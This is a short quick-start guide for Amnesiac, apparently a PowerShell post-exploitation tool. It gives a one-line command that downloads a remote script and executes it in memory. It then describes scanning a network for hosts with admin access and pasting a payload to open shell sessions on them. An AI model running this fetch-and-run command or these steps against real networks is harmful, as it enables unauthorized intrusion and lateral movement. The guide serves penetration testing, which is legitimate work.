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Quick Setup Guide for Amnesiac – Running Directly From Memory

Amnesiac does not require installation on the target system. To get started, simply load the tool in memory and run, or clone the repository to your local machine.

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Amnesiac/main/Amnesiac.ps1');Amnesiac

Quick Start

Get your first shell without reading the documentation

Scan the Network for Admin Access

From the main menu, press 0. This initiates a network scan to discover targets where you have admin access.

If you have admin access to any target, they will appear in the main menu under “Admin Sessions”. Select the session you wish to interact with.

To execute a payload and obtain a shell, press 1.

The payload will be displayed on the screen for you to copy and paste into a terminal or any location where you have command execution, resulting in a session being established. Select the session to start the interaction.

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